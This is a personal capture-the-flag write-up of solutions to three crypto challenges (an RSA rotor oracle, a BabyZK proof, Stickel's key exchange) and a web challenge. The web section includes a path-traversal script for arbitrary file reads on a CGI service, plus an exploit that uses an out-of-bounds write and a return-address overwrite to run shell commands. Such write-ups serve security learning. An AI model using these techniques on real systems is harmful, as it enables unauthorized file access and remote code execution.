In XxTSJxX, I solved three relatively easy Crypto challenges and half a Web challenge (?). As usual, I'll briefly document the solutions.

Crypto#

Pelle's Rotor-Supported Arithmetic#

#!/usr/bin/python3
from sys import stdin, stdout, exit
from flag import FLAG
from secrets import randbelow
from gmpy2 import next_prime

p = int(next_prime(randbelow(2**512)))
q = int(next_prime(randbelow(2**512)))
n = p * q
e = 65537

phi = (p - 1)*(q - 1)
d = int(pow(e, -1, phi))
d_len = len(str(d))
print(f'{d = }')

print("encrypted flag", pow(FLAG, 3331646268016923629, n))
stdout.flush()

ctr = 0
def oracle(c, i):
    global ctr
    if ctr > 10 * d_len // 9:
        print("Come on, that was already way too generous...")
        return
    ctr += 1
    rotor = lambda d, i: int(str(d)[i % d_len:] + str(d)[:i % d_len])
    return int(pow(c, rotor(d, i), n))

banner = lambda: stdout.write("""
Pelle's Rotor Supported Arithmetic Oracle
1) Query the oracle with a ciphertext and rotation value.
2) Exit.
""")

banner()
stdout.flush()

choices = {
    1: oracle,
    2: exit
}

while True:
    try:
        choice = stdin.readline()
        print("c:")
        stdout.flush()
        cipher = stdin.readline()
        print("rot:")
        stdout.flush()
        rotation = stdin.readline()
        print(choices.get(int(choice))(int(cipher), int(rotation)))
        stdout.flush()
    except Exception as e:
        stdout.write("%s\n" % e)
        stdout.flush()
        exit()

In short, this challenge has an RSA decryption oracle, where $d$ is the private key corresponding to $e=65537$, but the flag is encrypted with a different $e$.

The oracle allows you to choose c and d'=rotor(d,i) for i, and then returns $c^{d'}$.

Observing the pattern, we can see that rotor(d,0)*10-rotor(d,1) has some regularity. Summarizing, we get the following conclusion:

rotor = lambda d, i: int(str(d)[i % len(str(d)) :] + str(d)[: i % len(str(d))])


def f(d, i):
    return rotor(d, i) * 10 - rotor(d, i + 1)


d = 1029384756
for i in range(len(str(d))):
    x = int(str(d)[i])
    assert f(d, i) == x * 10 ** len(str(d)) - x

So $(c^{\mathit{rotor}(d,0)})^{10} / c^{\mathit{rotor}(d,1)} = c^{10^lx-x}$, by testing ten possibilities for each digit, we can recover $d$, then factorize it back to $p,q$ to solve the flag.

from pwn import *
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm

# context.log_level = 'debug'

# io = process(["python", "pelles_rotor_supported_arithmetic.py"])
io = remote("pelle-01.hfsc.tf", 4591)
io.recvuntil(b"encrypted flag ")
flagct = int(io.recvlineS())
io.recvuntil(b"Pelle's Rotor Supported Arithmetic Oracle")


def oracle(c, rot):
    io.sendline(b"1")
    io.sendlineafter(b"c:\n", str(c).encode())
    io.sendlineafter(b"rot:\n", str(rot).encode())
    return int(io.recvlineS())


d_len = 310  # guessed upper bound
n = oracle(-1, 0) + 1
print(n)
c = 48763
ds = [oracle(c, i) for i in tqdm(range(d_len + 1))]
while ds[0] != ds[d_len]:
    d_len -= 1
print(d_len)


def recover(c_d0, c_d1):
    k = pow(c_d0, 10, n) * pow(c_d1, -1, n) % n
    for i in range(0, 10):
        dd = i * (10 ** d_len) - i
        if pow(c, dd, n) == k:
            return i


digits = ["?"] * d_len
for i in range(d_len):
    digits[i] = str(recover(ds[i], ds[i + 1]))
d = int("".join(digits))
key = RSA.construct([n, 65537, d])
df = pow(3331646268016923629, -1, (key.p - 1) * (key.q - 1))
m = pow(flagct, df, n)
print(long_to_bytes(m))
# midnight{twist_and_turn}

BabyZK#

#!/usr/bin/python3

from sys import stdin, stdout, exit
from secrets import randbelow
from gmpy2 import next_prime

from flag import FLAG


class BabyZK:

    def __init__(self, degree, nbits):
        self.p = self.__safeprime(nbits)
        self.degree = degree
        self.m = [randbelow(self.p-1) for i in range(self.degree)]
        self.g = 2 + randbelow(self.p-3)
        self.ctr = 0

    def __safeprime(self, nbits):
        stdout.write("Generating safeprime...")
        p = -1
        while True:
            q = next_prime(randbelow(2 * 2**nbits))
            p = 2*q + 1
            if p.is_prime():
                break
        return p

    def __eval(self, x: int) -> int:
        y = 0
        for a in self.m:
            y += y * x + a
        return y % (self.p-1)

    def prover(self, x: int) -> int:
        if self.ctr > self.degree + 1:
            raise Exception("Sorry, you are out of queries...")
        self.ctr += 1
        return int(pow(self.g, self.__eval(x), self.p))

    def verify(self, x: int, u: int):
        if not u < self.p or u < 0:
            raise Exception("Oof, this is not mod p...")
        if int(pow(self.g, self.__eval(x), self.p)) != u:
            raise Exception("No can do...")


bzk = BabyZK(15, 1024)

def prove():
    stdout.write("> ")
    stdout.flush()
    challenge = int(stdin.readline())
    stdout.write("%d\n" % bzk.prover(challenge))
    stdout.flush()

def verify():
    for i in range(100):
        challenge = randbelow(bzk.p)
        stdout.write("%d\n" % challenge)
        stdout.flush()
        response = int(stdin.readline())
        bzk.verify(challenge, response)
    stdout.write("%s\n" % FLAG)
    stdout.flush()

banner = lambda: stdout.write("""
1) Query the prover oracle.
2) Prove to verifier that you know the secret.
3) Exit.
""")

choices = {
    1: prove,
    2: verify,
    3: exit
}

banner()
stdout.flush()

while True:
    try:
        choice = stdin.readline()
        choices.get(int(choice))()
    except Exception as e:
        stdout.write("%s\n" % e)
        stdout.flush()
        exit()

This challenge has an oracle that can compute $g^{f(x)} \bmod{p}$, where $f(x)$ is a 15-degree polynomial, and $g$ is unknown. The goal is to determine $g^{f(x)}$ for any $x$ within $15+2$ oracle queries.

Assuming we obtain $x_0, x_1, \cdots, x_{16}$ from the oracle, resulting in $y_0, y_1, \cdots, y_{16}$. Clearly, we have:

Writing the exponent part as a matrix:

Assuming $p$ is known, we can solve $\vec{v} M=(1,x,x^2,\cdots,x^{15})$ for any $x$ given by the challenge, and then we have $g^{\vec{v} \cdot \vec{a}}=g^{f(x)}$. So the remaining goal is to recover $p$.

Remember, the oracle query limit is $15+2$, so the remaining two queries can be used to create two equalities under $\bmod{p}$, and then use gcd to find $p$.

from sage.matrix.special import vandermonde
from pwn import process, remote
from tqdm import tqdm

# io = process(["python", "babyzk.py"])
io = remote("babyzk-01.hfsc.tf", 4590)
io.recvuntil(b"3) Exit.\n")


def prove(x):
    io.sendline(b"1")
    io.sendlineafter(b"> ", str(x).encode())
    return ZZ(io.recvlineS())


deg = 15
xs = list(range(deg + 2))
xs[-1] = -1  # prevent sol from being too big
proves = [prove(i) for i in xs]
M = vandermonde(xs[:deg])
sol1 = M.solve_left(vector([xs[-2] ^ i for i in range(deg)])).change_ring(ZZ)
print(sol1)
lhs1 = product([a ^ b for a, b in zip(proves[:deg], sol1)])  # rational
rhs1 = proves[-2]

sol2 = M.solve_left(vector([xs[-1] ^ i for i in range(deg)])).change_ring(ZZ)
print(sol2)
lhs2 = product([a ^ b for a, b in zip(proves[:deg], sol2)])  # rational
rhs2 = proves[-1]
# lhs = rhs (mod p)
p = gcd(lhs1.numer() - lhs1.denom() * rhs1, lhs2.numer() - lhs2.denom() * rhs2)
print(f"{p = }")

M = M.change_ring(Zmod(p - 1))


def fake_proof(x):
    sol = M.solve_left(vector([x ^ i for i in range(deg)])).change_ring(ZZ)
    return product([power_mod(a, b, p) for a, b in zip(proves[:deg], sol)]) % p


io.sendline(b"2")
for _ in tqdm(range(100)):
    r = ZZ(io.recvlineS())
    io.sendline(str(fake_proof(r)).encode())
io.interactive()
# midnight{n0t_h4rd_3ven_w1th0ut_modulu5}

kompot_512#

'''
2   bag of fruit, mixed, dried
1   bag prunes
2   litre of water
1   spoon of clove
1/2 lemon

'''

p = random_prime(2^512)
R.<x> = PolynomialRing(GF(p))

def F(f: R, k: Integer) -> R:
    g = x
    while k > 0:
        if k % 2 == 1:
            g = f(g)
        k = k // 2
        f = f(f)
    return g

f = (1*x+2)/(3*x+4)
g = (2*x+1)/(13*x+37)

x0, x1 = randint(0, 2^128), randint(0, 2^128)
y0, y1 = randint(0, 2^128), randint(0, 2^128)

A = F(f, x0)(F(g, x1))
B = F(f, y0)(F(g, y1))
C = F(f, x0 + y0)(F(g, x1 + y1))

with open("output.txt", "w") as f:
    f.write("p = %s\n" % p)
    f.write("A = %s\n" % A)
    f.write("B = %s\n" % B)

print("My kompot is ready: midnight{%d}" % (C(0)))

The F(f, k) in this challenge is calculated using fast exponentiation for the Iterated function, i.e., $f^k = f \circ f \circ f \cdots$.

The challenge itself involves selecting two public functions $f,g$ in $\mathbb{F}_p$ for a Diffie-Hellman-like key exchange. The goal is to derive the shared secret from the public keys.

The public keys are $A=f^{x_0} \circ g^{x_1}$ and $B=f^{y_0} \circ g^{y_1}$, and the shared secret is $C=f^{x_0+y_0} \circ g^{x_1+y_1}$.

My approach was to first find a fixed point $r$ for $g$, i.e., $g(r)=r$. So $A(r)=f^{x_0}(r)$.

Additionally, we can observe that $f^{x_0}(x)$ must be in the following format:

Where $b$ is a constant that remains unchanged for $f^n(x)$, and $a$ is related to $x_0$. Substituting $r$ allows us to solve for $a$, thus obtaining $f^{x_0}(x)$.

Since rational functions are invertible, we can compute $(f^{x_0})^{-1} \circ A=g^{x_1}$. Then, $C=f^{x_0} \circ B \circ g^{x_1}$, and calculating $C(0)$ gives the flag.

p = 4225693342127109694461474664875234388636946955456557547956774428518217802668660259782406877400331189882749889992278565317470800599051030042911227853036773
R.<x> = PolynomialRing(GF(p))


def F(f: R, k: Integer) -> R:
    g = x
    while k > 0:
        if k % 2 == 1:
            g = f(g)
        k = k // 2
        f = f(f)
    return g


f = (1 * x + 2) / (3 * x + 4)
g = (2 * x + 1) / (13 * x + 37)

gfixed = [r for r, _ in ((2 * x + 1) - x * (13 * x + 37)).roots()]
assert all(g(r) == r for r in gfixed)

r = gfixed[0]

# F(f, x0) = (a*x+b)/(x+(a+1)) where b is known constant (by observation)
# A(r)=F(f, x0)(r)=(a*r+b)/(r+(a+1))

A = (
    1862315654158688869445729098619544799767914409222262298343789666937748284078116837226153354276423115494199511730581944141272923224308137441803678328652676
    * x
    + 1886064375836034840142860936845130575100861943319047776615196816978379039225633008371217989839215828506878694852860682181613624391870390057743279109936146
) / (
    x
    + 2018973312548033623066299353985536867301042832572544233315161976441530811456010904800834151744635603048866029559947352208513799007609932454902351226287612
)
B = (
    2477394867395824278867886971831335517996362882807219284195631610174019275371358912732296452954721250133176647989002311297549405379103903792349676765146225
    * x
    + 2040810311132675343235393925283389647607439331436941665496443753775265935891731269825908055031216551265890834776911988625202487191269201707297351486226785
) / (
    x
    + 895438207293722465737529431198991226585025118671333535676494582773742283333650849930234578880250608882302630413898903347122190753133069996224669181368029
)

RR.<a> = GF(p)[]
b = f.numerator()[0]
a = (A(r) * (r + (a + 1)) - (a * r + b)).roots()[0][0]
fx0 = (a * x + b) / (x + (a + 1))


def rational_invertse(f):
    a = f.numerator()[1]
    b = f.numerator()[0]
    c = f.denominator()[1]
    d = f.denominator()[0]
    return (b - d * x) / (c * x - a)


gx1 = rational_invertse(fx0)(A)
C = fx0(B(gx1))
print("My kompot is ready: midnight{%d}" % (C(0)))
# midnight{3376861921537964672541400365700467193751583514806849485754729332434511031717727819872760853068826617376545669091237756749178566789525020268534935958343010}

Other Solutions#

Later, I found out from others' solutions that $f,g$ can be simplified into matrices:

Then $f \circ f \leftrightarrow A^2$, $f \circ g \leftrightarrow AB$, which simplifies many calculations.

For more details on this derivation, refer to y011d4's writeup

This key exchange is Stickel's key exchange, and there is already a Cryptanalysis of Stickel’s key exchange scheme available online that explains how to handle it.

The concept is that an attacker only needs to find $x,y$ such that $xa=ax, yb=by, u=xy$ to break the system. Here, $u,w$ are the public keys exchanged, and $a,b$ are known parameters, i.e., $f,g$.

Since $u=a^n b^m, v=a^r b^s$, we have $xvy=x a^r b^s y = a^r xy b^s = a^r u b^s = a^{r+n} b^{s+m}$ as the shared secret.

To solve for $x, y$ from the system, we convert $xa=ax$ and $u=xy$ into $x^{-1}a=ax^{-1}$ and $x^{-1}u=y$. Assuming they are $k \times k$ matrices, there are $2k^2$ unknowns ($x^{-1}, y$), and three equations provide $3k^2$ knowns, which can be solved using linear algebra.

The above solution can be slightly simplified by only setting $y$ as unknown, and using $x^{-1}=yu^{-1}$ to solve $x^{-1}a=ax^{-1}, yb=by$. This gives $k^2$ unknowns and $2k^2$ knowns, which can also be solved.

p = 4225693342127109694461474664875234388636946955456557547956774428518217802668660259782406877400331189882749889992278565317470800599051030042911227853036773
R.<x> = PolynomialRing(GF(p))
A = (
    1862315654158688869445729098619544799767914409222262298343789666937748284078116837226153354276423115494199511730581944141272923224308137441803678328652676
    * x
    + 1886064375836034840142860936845130575100861943319047776615196816978379039225633008371217989839215828506878694852860682181613624391870390057743279109936146
) / (
    x
    + 2018973312548033623066299353985536867301042832572544233315161976441530811456010904800834151744635603048866029559947352208513799007609932454902351226287612
)
B = (
    2477394867395824278867886971831335517996362882807219284195631610174019275371358912732296452954721250133176647989002311297549405379103903792349676765146225
    * x
    + 2040810311132675343235393925283389647607439331436941665496443753775265935891731269825908055031216551265890834776911988625202487191269201707297351486226785
) / (
    x
    + 895438207293722465737529431198991226585025118671333535676494582773742283333650849930234578880250608882302630413898903347122190753133069996224669181368029
)


def F(f: R, k: Integer) -> R:
    g = x
    while k > 0:
        if k % 2 == 1:
            g = f(g)
        k = k // 2
        f = f(f)
    return g


f = (1 * x + 2) / (3 * x + 4)
g = (2 * x + 1) / (13 * x + 37)

def fn2mat(f):
    a = f.numerator()[1]
    b = f.numerator()[0]
    c = f.denominator()[1]
    d = f.denominator()[0]
    return matrix(GF(p), [
        [a, b],
        [c, d]
    ])

# find xa=ax, yb=by, u=xy
# simplify to x_inv*a=a*x_inv, yb=by, x_inv*u=y

a = fn2mat(f)
b = fn2mat(g)
u = fn2mat(A)
v = fn2mat(B)

P.<y00,y01,y10,y11> = GF(p)[]
y = matrix([
    [y00, y01],
    [y10, y11]
])
x_inv = y * ~u

def add_mat_eq(polys, lhs, rhs):
    for i in range(lhs.nrows()):
        for j in range(lhs.ncols()):
            polys.append(lhs[i, j] - rhs[i, j])

polys = []
add_mat_eq(polys, y * b, b * y)
add_mat_eq(polys, x_inv * a, a * x_inv)

# alternative way to solve this system: P.ideal(polys).groebner_basis()
M, _ = Sequence(polys).coefficient_matrix()
print(M.change_ring(Zmod(107)))  # overview of matrix
print(_)  # variables of each column
# no constant term so only need to find the kernel
# many solutions so any one of them will work
y00, y01, y10, y11 = M.right_kernel().basis()[0]
y = matrix(GF(p), [
    [y00, y01],
    [y10, y11]
])
x_inv = y * ~u
x = ~x_inv
shared = x * v * y
c0 = shared[0, 1] / shared[1, 1]
print("My kompot is ready: midnight{%d}" % c0)

Web#

Retro#

This challenge provided a task without source code, and more than half of it was handled by splitline.

The service was written using CGI, and the /cgi-bin/showimg.cgi part could take a path from the query string ?test.gif, but it required the path to end with .gif. Testing revealed a length limit causing truncation, so by placing enough garbage in front, arbitrary file reading was possible.

import requests, sys
url = "http://retro-01.hfsc.tf:8080/cgi-bin/showimg.cgi?"


filename = sys.argv[1]
padding = "../" * ((102-len(filename))//3) + '/'*((102-len(filename))%3)

print(requests.get(url+padding+filename+'.gif').text.replace("\0","\n"))

By @splitline

After reading files, we could download all files in /cgi-bin, discovering they were all ELF files.

Opening madlib.cgi in IDA, the main function looked like this:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // eax
  int result; // eax
  char *v5; // [esp+0h] [ebp-74h]
  char s[100]; // [esp+4h] [ebp-70h] BYREF
  unsigned int v7; // [esp+68h] [ebp-Ch]
  int *v8; // [esp+6Ch] [ebp-8h]

  v8 = &argc;
  v7 = __readgsdword(0x14u);
  alarm(5u);
  puts("Content-type: text/html\n");
  puts("<html><body background=\"/bg.jpg\">");
  printf("<h1>Mad Lib generator</h1>");
  v5 = getenv("QUERY_STRING");
  if ( v5 && *v5 )
  {
    process(v5);
    printf("<a href=\"/cgi-bin/madlib.cgi\">Go back</a>");
  }
  else
  {
    puts(
      "<form><table border=0><tr><td><label for=\"adj\">Adjective</label></td><td><input type=\"text\" id=\"adj\" name=\""
      "adj\" value=\"Old\"></td></tr><tr><td><label for=\"noun\">Noun</label></td><td><input type=\"text\" id=\"noun\" na"
      "me=\"noun\" value=\"Farm\"></td></tr><tr><td><label for=\"animal\">Animal</label></td><td><input type=\"text\" id="
      "\"animal\" name=\"animal\" value=\"Cow\"></td></tr><tr><td><label for=\"noise\">Noise</label></td><td><input type="
      "\"text\" id=\"noise\" name=\"noise\" value=\"Moo\"></td></tr><tr><td></td><td><input type=submit></td></tr></table></form>");
  }
  if ( getenv("DEBUG") )
  {
    v3 = getenv("DEBUG");
    snprintf(s, 0x64u, "echo \"[DBG] %s\" >> /opt/logfile", v3);
    system(s);
    puts("<!-- [DEBUG ACTIVE] -->");
  }
  result = v7 - __readgsdword(0x14u);
  if ( result )
    sub_19BB();
  return result;
}

And the process function:

unsigned int __cdecl process(char *a1)
{
  char *v1; // eax
  unsigned int result; // eax
  char *stringp; // [esp+2Ch] [ebp-23Ch] BYREF
  char v4; // [esp+3Bh] [ebp-22Dh]
  char *s1; // [esp+3Ch] [ebp-22Ch]
  char *s; // [esp+40h] [ebp-228h]
  char *nptr; // [esp+44h] [ebp-224h]
  int v8; // [esp+48h] [ebp-220h]
  char dest[512]; // [esp+4Ch] [ebp-21Ch] BYREF
  unsigned int v10; // [esp+24Ch] [ebp-1Ch]

  stringp = a1;
  v10 = __readgsdword(0x14u);
  strcpy(dest, off_4004);
  while ( 1 )
  {
    s1 = strsep(&stringp, "&");
    if ( !s1 )
      break;
    if ( !strncmp(s1, "adj=", 4u) )
    {
      off_4008 = (char *)sub_1362(s1 + 4);
    }
    else if ( !strncmp(s1, "noun=", 5u) )
    {
      off_400C = (char *)sub_1362(s1 + 5);
    }
    else if ( !strncmp(s1, "animal=", 7u) )
    {
      off_4010 = (char *)sub_1362(s1 + 7);
    }
    else if ( !strncmp(s1, "noise=", 6u) )
    {
      off_4014 = (char *)sub_1362(s1 + 6);
    }
    else if ( !strncmp(s1, "fix", 3u) )
    {
      s = s1 + 3;
      nptr = strchr(s1 + 3, 61);
      if ( nptr )
      {
        v1 = nptr++;
        *v1 = 0;
        s = (char *)sub_1362(s);
        nptr = (char *)sub_1362(nptr);
        v8 = atoi(s);
        v4 = atoi(nptr);
        dest[v8] = v4;
      }
    }
  }
  printf(
    dest,
    off_4008,
    off_400C,
    off_400C,
    off_4010,
    off_4014,
    off_4014,
    off_4014,
    off_4014,
    off_4014,
    off_4014,
    off_4014,
    off_4014,
    off_4008,
    off_400C);
  result = v10 - __readgsdword(0x14u);
  if ( result )
    sub_19BB();
  return result;
}

We can see that if the query string contains ?fix87=63, it will directly cause an OOB write: dest[v8] = v4, and there is also a format string vulnerability. However, with all binary protections enabled, the only method I thought of was partial overwrite of the return address's LSB to make it return to the DEBUG branch in the main function.

The assembly in that section is as follows:

lea     eax, [ebp+s]
push    eax             ; command
call    _system

So, returning to the lea instruction and using gdb to calculate the value of eax, we can perform an OOB write to execute the desired command, achieving RCE. However, for some reason, I couldn't see the output, so I had to use commands like ls > /tmp/peko and then read the content using arbitrary file reading.

buf = 0xffb901fc
ret = 0xffb9041c
cmd_start = 0xffb90438

writes = []
writes.append((ret-buf, 0x81))  # partial overwrite to system
for i, v in enumerate(b'/showflag > /tmp/peko\0'):
    writes.append((cmd_start-buf+i, v))
qs = '&'.join([f'fix{i}={v}' for i, v in writes])
print(qs)

# midnight{ebb1d7808ec033c2fc0cba0829863b66}